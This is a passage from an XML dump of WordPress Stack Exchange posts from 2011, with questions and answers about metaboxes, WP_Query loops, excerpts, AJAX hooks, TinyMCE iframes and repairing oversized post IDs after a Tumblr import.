System&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Personally, I'd be a little annoyed if I installed a theme and it took away functionality. (But I'm a developer).  If you're worried that your users will monkey with style.css, they might not need access to the admin control panel at all.&lt;/p&gt;&#xA;" OwnerUserId="6737" LastActivityDate="2011-07-06T01:26:46.343" />
  <row Id="22111" PostTypeId="2" ParentId="21487" CreationDate="2011-07-06T01:33:13.280" Score="3" ViewCount="" Body="&lt;p&gt;I was able to achieve this with custom taxonomies on a metabox I created for a custom post type of mine by doing the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I added this to my &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_menu', 'remove_default_metaboxes' );&#xA;function remove_default_metaboxes() {&#xA;    // Remove 'Keywords' (like tags) metabox&#xA;    remove_meta_box( 'tagsdiv-keyword', 'my-custom-post-type-slug', 'side' );&#xA;    // Remove 'Groups' (like categories) metabox&#xA;    remove_meta_box( 'groupdiv', 'my-custom-post-type-slug', 'side' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first parameter of the function &lt;code&gt;remove_meta_box()&lt;/code&gt; is actually an id generated by WordPress. If you are using non-hierarchical taxonomies (i.e. &quot;Tags&quot;), it will always be &quot;tagsdiv-&quot; followed by your custom taxonomy slug. If it's a hierarchical taxonomy (i.e. &quot;Category&quot;) the id will be the slug followed by &quot;div&quot;, no spaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then put the following code on my metabox template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;groups&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;    $box = array(&#xA;        'args' =&amp;gt; array(&#xA;            'taxonomy' =&amp;gt; 'group'&#xA;        ),&#xA;        'title' =&amp;gt; 'Groups'&#xA;    );&#xA;    post_categories_meta_box($post, $box)&#xA;    ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;keywords inside&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;        global $post_ID;&#xA;        $post = get_post( $post_ID );&#xA;        $box = array(&#xA;            'args' =&amp;gt; array(&#xA;                'taxonomy' =&amp;gt; 'keyword'&#xA;            )&#xA;        );&#xA;        post_tags_meta_box($post, $box);&#xA;    ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, note that in the case of &quot;Keywords&quot; or any other Tag-like taxonomy, this will not be enough. The tags metabox functionality is achieved via JS, which depends on selectors that are not created by the function above. In my case this was solved by adding the class &quot;inside&quot; to the keywords div, and by adding these lines to a separate JS file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.keywords').each(function(){&#xA;    tagBox.init();&#xA;    return false;&#xA;}); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just make sure to call the JS after WP has loaded the default Post scripts. If for some reason you don't want to add more scripts, you can achieve the same by mimicking WP's structure like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;side-sortables&quot;&amp;gt;&#xA;   &amp;lt;div id=&quot;tagsdiv-keyword&quot; class=&quot;postbox inside&quot;&amp;gt;&#xA;       // post_tags_meta_box() etc&#xA;   &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5552" LastEditorUserId="5552" LastEditorDisplayName="" LastEditDate="2011-07-06T04:26:08.937" LastActivityDate="2011-07-06T04:26:08.937" CommentCount="2" />
  <row Id="22114" PostTypeId="2" ParentId="22009" CreationDate="2011-07-06T02:27:49.897" Score="1" ViewCount="" Body="&lt;p&gt;I'm having this issue on two of my sites, as well. I discovered that the code in the header.php file for my theme (a customized version of Woothemes' Original Premium News) is not &quot;correct&quot; according to a few jQuery websites. This is what it says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/includes/js/jquery-1.3.2.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;?php wp_head(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The sites I read said that you should insert the code below before the wp_head code and then put your jquery request after the wp_head code. In essence, it should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_enqueue_script(&quot;jquery&quot;); ?&amp;gt;&amp;lt;?php wp_head(); ?&amp;gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/includes/js/jquery-1.3.2.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I did this, my superfish dropdowns worked perfectly (or as well as they did yesterday). Unfortunately, when I did this it broke my graphic slider (powered by the Featured Content Gallery plugin). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's as far as I've gotten after banging away at it for a few hours...  :p&lt;/p&gt;&#xA;" OwnerUserId="6777" LastEditorUserId="6777" LastEditorDisplayName="" LastEditDate="2011-07-06T02:39:44.707" LastActivityDate="2011-07-06T02:39:44.707" />
  <row Id="22115" PostTypeId="2" ParentId="20395" CreationDate="2011-07-06T03:16:41.507" Score="2" ViewCount="" Body="&lt;p&gt;After Otto's awesome observation, some SQL trickery I believe I have now fixed the problem :)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The Problem&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I was using tumblr and transferred my posts to WordPress. However, since approx mid-Dec tumblr postIDs were greater than 32-bit MAX_INT (2147483647). Of course, I had several posts created after mid-Dec, thus they all had postIDs greater than MAX_INT - &lt;a href=&quot;http://wordpress.org/support/topic/plugin-wordpress-importer-importer-fails-for-post_ids-over-php_int_max-of-2147483647&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/plugin-wordpress-importer-importer-fails-for-post_ids-over-php_int_max-of-2147483647&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For whatever reason, my posts imported fine, however the WordPress Stats did not like these insanely large numbered postIDs, thus I experienced the problem outlined in my question.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The Fix&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;WARNING!!!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Fiddling around with postIDs/database can potentially screw up your blog - linking etc. So perform at your own risk!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I was very lucky that this was a fairly new blog - 0 comments and only 18 posts... so overall it was still fairly simple.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Remember to back up, incase something horrible goes wrong!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To solve this problem, I backed up WordPress, cleaned up my WordPress database, exported all tables that had references to postIDs, reduced the postID values, reset the auto-increment value, re-inserted the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Backing up:&lt;/strong&gt; I did an XML export and also performed a full backup of the blog via cPanel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cleanup database:&lt;/strong&gt; There was a useless rows (for post revisions) in the database, so to simplify the later steps I first cleaned up my database using the following plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-cleanup/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-cleanup/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Export tables:&lt;/strong&gt; Going into phpAdmin through cPanel, I went through each table and any that had references to postIDs I exported into a &lt;strong&gt;.sql&lt;/strong&gt; file, remember to include the drop tables if exists option. The tables I ended up needing to export were: wp_posts, wp_postmeta, wp_term_relationships.&#xA;&lt;em&gt;&lt;strong&gt;!!! NOTE: I was lucky that this is a relatively new blog. So there were 0 comments, thus did not need to worry about comments!!!&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Reducing postIDs:&lt;/strong&gt; Using numbers (ie. excel) I first made a mapping of the old/new postIDs. (eg: 2165214909-&gt;3, 2165214895-&gt;4 etc). With the old/new postIDs 'set', I went through each of the exported .sql files and did find/replace all. &lt;em&gt;Note: it appears that attachments in posts also have their own postID so it can be a tad confusing&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Reset auto-increment number:&lt;/strong&gt; In the wp_post.sql file, I reset the auto-increment value to something like 30. That way the next blog will have a postID starting at 30. If you don't reset this, any new posts created will still have high postIDs and you'll be faced with the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Re-inserting data:&lt;/strong&gt; Back in phpAdmin, using the .sql files containing the new postIDs I imported the data back in. Since in the export I chose to drop table if it exists, it cleared the existing tables and inserted with the &quot;new&quot; data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After doing all of this, I did a quick sanity check to make sure everything was fine. Public blog - clicked around, made sure images were there, searching works, tags worked etc. Admin section - check that when you hover over 'Edit' it shows the correct new postID, creating a new post uses the new auto-increment id, and of course (after a few days) that the WordPress stats was back to normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All checks passed, so I think the fix has worked :)&lt;/p&gt;&#xA;" OwnerUserId="6315" LastEditorUserId="6315" LastEditorDisplayName="" LastEditDate="2011-07-07T23:18:28.560" LastActivityDate="2011-07-07T23:18:28.560" />
  <row Id="22116" PostTypeId="1" CreationDate="2011-07-06T03:18:47.110" Score="0" ViewCount="314" Body="&lt;p&gt;I upgraded to WP 3.2. Im VERY new to WP, having started with 3.1.4 just last week. I need to find the &quot;Custom Fields&quot; which I can't seem to see even in the &quot;Screen Options&quot; page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other fix? Code maybe? Or maybe a plugin? Or maybe I'm doing it all wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All suggestions are welcome (I have no choice I guess) :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6778" LastActivityDate="2011-07-06T03:18:47.110" Title="Custom Fields in Wordpress 3.2" Tags="&lt;custom-field&gt;&lt;wordpress.org&gt;" CommentCount="3" />
  <row Id="22117" PostTypeId="1" AcceptedAnswerId="22118" CreationDate="2011-07-06T03:45:13.683" Score="0" ViewCount="54" Body="&lt;p&gt;I am using the Yoko theme and would like to show the most recent full post in category 1 on the home page.  I am a Wordpress newbie, but my approach was going to be to provide my own index.php in a child theme.  The parent theme has relevant code that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php /* Start the Loop */ ?&amp;gt;&#xA;  &amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;    &amp;lt;?php get_template_part( 'content', get_post_format() ); ?&amp;gt;&#xA;  &amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;?php /* Display navigation to next/previous pages when applicable */ ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I had thought I needed to place a line like this prior to the while loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts('cat=1&amp;amp;posts_per_page=1'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I see the partial post only.  I have also tried to do the same sort of thing with single.php.  I am sure I am missing something simple.  Can someone school me on the loop?&lt;/p&gt;&#xA;" OwnerUserId="5766" LastActivityDate="2011-07-06T04:01:59.287" Title="How to show full post on home page" Tags="&lt;posts&gt;&lt;loop&gt;&lt;frontpage&gt;" AnswerCount="1" />
  <row Id="22118" PostTypeId="2" ParentId="22117" CreationDate="2011-07-06T04:01:59.287" Score="1" ViewCount="" Body="&lt;p&gt;You can alter query_posts - see &lt;a href=&quot;http://codex.wordpress.org/The_Loop&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/The_Loop&lt;/a&gt; - but maybe the best thing to do is use a page template with a new query. WP will default to home.php instead of index.php if one exists, so you can leave index.php alone for other page to use. See &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample query; remove the permalink and/or title, if needed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $my_query = new WP_Query('cat=1&amp;amp;showposts=1'); ?&amp;gt;&#xA;&#xA;&amp;lt;?php while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;?php the_content(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-07-06T04:01:59.287" CommentCount="1" />
  <row Id="22119" PostTypeId="2" ParentId="22094" CreationDate="2011-07-06T04:10:01.417" Score="2" ViewCount="" Body="&lt;p&gt;You don't need a rewrite rule in .htaccess to add www back in. Remove the rewrite rule, remove all the defines in wp-config and try to login. If that doesn't work, delete permalinks in .htaccess to force them back to default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you're in, add the www in Dashboard&gt;&gt;Settings and save. Then reset permalinks.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-07-06T04:10:01.417" CommentCount="1" />
  <row Id="22120" PostTypeId="2" ParentId="3448" CreationDate="2011-07-06T04:40:20.203" Score="1" ViewCount="" Body="&lt;p&gt;Copy paste this code in your functions.php : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('tiny_mce_before_init', create_function( '$a',&#xA;'$a[&quot;extended_valid_elements&quot;] =&quot;iframe[id|class|title|style|align|frameborder|height|longdesc|marginheight|marginwidth|name|scrolling|src|width]&quot;; return $a;') );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will add a filter to tinymce editor. Working on WP 3.xx&lt;/p&gt;&#xA;" OwnerUserId="6779" LastActivityDate="2011-07-06T04:40:20.203" />
  <row Id="22121" PostTypeId="1" AcceptedAnswerId="22130" CreationDate="2011-07-06T04:46:43.477" Score="1" ViewCount="74" Body="&lt;p&gt;My question pertains to where I should create an ajax function that I'd like to call from my page view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a jQuery validator on a custom form that should check the inputted zipcode against my database of valid zipcodes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just need to know where this function should exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally when using a non wordpress site I'd create a PHP file with my ajax functions and call them by referencing the URL to this page and passing some parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this with wordpress? Where can i explicitly call a php file and pass it arguments?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I'd like to call the ajax function like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$.post('http://mysite.com/ajax-functions.php?fxn=zipcodes',&#xA;    {zipCode:00000},&#xA;    function(response){&#xA;      // do stuff&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6744" LastActivityDate="2011-07-06T07:14:37.857" Title="Creating custom AJAX requests" Tags="&lt;jquery&gt;&lt;ajax&gt;&lt;validation&gt;" AnswerCount="2" />
  <row Id="22122" PostTypeId="2" ParentId="22121" CreationDate="2011-07-06T05:36:15.117" Score="0" ViewCount="" Body="&lt;p&gt;Turns out you can add a hook to a function for it to be included into the callable ajax functions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.1stwebdesigner.com/css/implement-ajax-wordpress-themes/&quot; rel=&quot;nofollow&quot;&gt;http://www.1stwebdesigner.com/css/implement-ajax-wordpress-themes/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6744" LastActivityDate="2011-07-06T05:36:15.117" CommentCount="1" />
  <row Id="22123" PostTypeId="1" AcceptedAnswerId="22125" CreationDate="2011-07-06T05:47:48.057" Score="1" ViewCount="941" Body="&lt;p&gt;I am using the brand new twenty eleven theme, my home page is set to show latest posts, but it displays the entire posts,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to only show the excerpts, not the entire content,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the index.php code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;content&quot; role=&quot;main&quot;&amp;gt;&#xA;&#xA;            &amp;lt;?php if ( have_posts() ) : ?&amp;gt;&#xA;&#xA;                &amp;lt;?php twentyeleven_content_nav( 'nav-above' ); ?&amp;gt;&#xA;&#xA;                &amp;lt;?php /* Start the Loop */ ?&amp;gt;&#xA;                &amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php get_template_part( 'content', get_post_format() ); ?&amp;gt;&#xA;&#xA;                &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;                &amp;lt;?php twentyeleven_content_nav( 'nav-below' ); ?&amp;gt;&#xA;&#xA;            &amp;lt;?php else : ?&amp;gt;&#xA;&#xA;                &amp;lt;article id=&quot;post-0&quot; class=&quot;post no-results not-found&quot;&amp;gt;&#xA;                    &amp;lt;header class=&quot;entry-header&quot;&amp;gt;&#xA;                        &amp;lt;h1 class=&quot;entry-title&quot;&amp;gt;&amp;lt;?php _e( 'Nothing Found', 'twentyeleven' ); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;                    &amp;lt;/header&amp;gt;&amp;lt;!-- .entry-header --&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;                        &amp;lt;p&amp;gt;&amp;lt;?php _e( 'Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post.', 'twentyeleven' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;?php get_search_form(); ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;                &amp;lt;/article&amp;gt;&amp;lt;!-- #post-0 --&amp;gt;&#xA;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-07-14T05:31:11.323" Title="Twenty Eleven home page show only excerpt" Tags="&lt;theme-development&gt;&lt;excerpt&gt;" AnswerCount="4" />
  <row Id="22124" PostTypeId="2" ParentId="22083" CreationDate="2011-07-06T05:51:02.920" Score="0" ViewCount="" Body="&lt;p&gt;You won't get blacklisted. Small descriptive duplicate content on the same url tends to be a non-factor since it is very common, duplicate content over multiple urls, different parent urls, or large amounts of it can often become diluted, thus the use of canonical urls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps. This question has nothing to do with WordPress.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-07-06T05:51:02.920" CommentCount="1" />
  <row Id="22125" PostTypeId="2" ParentId="22123" CreationDate="2011-07-06T06:18:49.970" Score="1" ViewCount="" Body="&lt;p&gt;The template you're actually after is &quot;content.php&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll want to change this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( is_search() ) : // Only display Excerpts for Search ?&amp;gt;&#xA;&amp;lt;div class=&quot;entry-summary&quot;&amp;gt;&#xA;    &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- .entry-summary --&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;    &amp;lt;?php the_content( __( 'Continue reading &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', 'twentyeleven' ) ); ?&amp;gt;&#xA;    &amp;lt;?php wp_link_pages( array( 'before' =&amp;gt; '&amp;lt;div class=&quot;page-link&quot;&amp;gt;&amp;lt;span&amp;gt;' . __( 'Pages:', 'twentyeleven' ) . '&amp;lt;/span&amp;gt;', 'after' =&amp;gt; '&amp;lt;/div&amp;gt;' ) ); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( is_search() ) : // Only display Excerpts for Search ?&amp;gt;&#xA;&amp;lt;div class=&quot;entry-summary&quot;&amp;gt;&#xA;    &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- .entry-summary --&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;    &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;    &amp;lt;?php wp_link_pages( array( 'before' =&amp;gt; '&amp;lt;div class=&quot;page-link&quot;&amp;gt;&amp;lt;span&amp;gt;' . __( 'Pages:', 'twentyeleven' ) . '&amp;lt;/span&amp;gt;', 'after' =&amp;gt; '&amp;lt;/div&amp;gt;' ) ); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the change of &lt;code&gt;the_content()&lt;/code&gt; to &lt;code&gt;the_excerpt()&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1144" LastActivityDate="2011-07-06T06:18:49.970" CommentCount="2" />
  <row Id="22126" PostTypeId="2" ParentId="3448" CreationDate="2011-07-06T06:25:13.477" Score="0" ViewCount="" Body="&lt;p&gt;I use tinymce advanced plugin which has the option to not strip iframes in the settings panel.&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-07-06T06:25:13.477" />
  <row Id="22127" PostTypeId="1" CreationDate="2011-07-06T06:45:40.690" Score="0" ViewCount="50" Body="&lt;p&gt;I'm attempting to display the latest 5 post excerpts from 5 different authors in my blog sidebar. Below is the code I'm using which I tweaked from this thread: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/19884/find-most-recent-authors&quot;&gt;Find most recent authors&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, I've gotten it to work however rather than display each individual author's most recent post, it's showing the author's earliest post. Any ideas on what I'm doing wrong? I've been struggling w/ this for a few days so appreciate any direction you can give. I'm a newbie to PHP but can understand enough to tweak code. Thanks!! You can see it working on my site: &lt;a href=&quot;http://wearestd.com&quot; rel=&quot;nofollow&quot;&gt;wearestd.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $wpdb;&#xA;&#xA;$post_IDs = $wpdb-&amp;gt;get_col( &quot;SELECT ID FROM $wpdb-&amp;gt;posts WHERE post_type = 'post' AND post_status = 'publish' GROUP BY post_author ORDER BY post_date DESC LIMIT 5&quot; );&#xA;&#xA;$my_query = new WP_Query( array( 'post__in' =&amp;gt; $post_IDs) );&#xA;&#xA;if( $my_query-&amp;gt;have_posts() ) {&#xA;  while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&amp;lt;?php userphoto_the_author_thumbnail() ?&amp;gt;&#xA;&amp;lt;div id=&quot;author_excerpt&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;h4&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h4&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;?php the_advanced_excerpt('length=50'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;?&#xA;endwhile;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6780" LastActivityDate="2011-09-04T23:42:22.553" Title="Latest 5 post excerpts from 5 different authors in Sidebar" Tags="&lt;query-posts&gt;&lt;sidebar&gt;&lt;list-authors&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="22128" PostTypeId="1" AcceptedAnswerId="22132" CreationDate="2011-07-06T07:05:06.843" Score="0" ViewCount="23" Body="&lt;p&gt;I would like to accomplish something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php $custom_posts = new WP_Query(); ?&amp;gt;&#xA;        &amp;lt;?php $custom_posts-&amp;gt;query('category_name=Business OR category_name=Technology OR category_name= Lifestyle'); ?&amp;gt;&#xA;        &amp;lt;?php while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post(); ?&amp;gt;&#xA;            &amp;lt;div class=&quot;content-block-14&quot;&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;?php the_content(); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So that if the post belongs to only one of those categories it should be listed in that loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-07-06T07:22:10.063" Title="How to add an &quot;or&quot; instead of and &quot;and&quot; (&amp;) in a Wordpress query?" Tags="&lt;query-posts&gt;&lt;loop&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="22129" PostTypeId="1" AcceptedAnswerId="22136" CreationDate="2011-07-06T07:06:04.463" Score="1" ViewCount="46" Body="&lt;p&gt;There are different PHP logging frameworks out there e.g. Log4php, KLogger. I want to choose one based on its experience with WordPress. Please suggest me one. &lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2011-07-06T07:29:10.743" Title="PHP logging framework to be used with WordPress" Tags="&lt;plugin-development&gt;&lt;testing&gt;&lt;logging&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="22130" PostTypeId="2" ParentId="22121" CreationDate="2011-07-06T07:14:37.857" Score="2" ViewCount="" Body="&lt;p&gt;In WordPress the way of handling Ajax calls is a bit different the plain PHP but still very simple, all ajax calls should be to &lt;code&gt;wp-admin/admin-ajax.php&lt;/code&gt; and you just define your own functions by hooks, &#xA;Take a look at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9231/whats-the-preferred-method-of-writing-ajax-enabled-plugins/9236#9236&quot;&gt;&lt;strong&gt;What's the preferred method of writing AJAX in WordPress&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-06T07:14:37.857" />
  <row Id="22131" PostTypeId="1" CreationDate="2011-07-06T07:21:00.243" Score="0" ViewCount="76" Body="&lt;p&gt;I am using &lt;a href=&quot;http://wordpress.org/extend/plugins/grunion-contact-form/&quot; rel=&quot;nofollow&quot;&gt;Grunion Contact Form&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can add fields from admin. Now I need to add field to upload file along with other data. I could not see type file in admin. Is there a way I can attach file for this form? Any help will  be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="478" LastActivityDate="2011-07-06T07:21:00.243" Title="How to add attachment file in the Grunion Contact Form pluigin?" Tags="&lt;uploads&gt;&lt;form&gt;&lt;contact&gt;" CommentCount="3" />
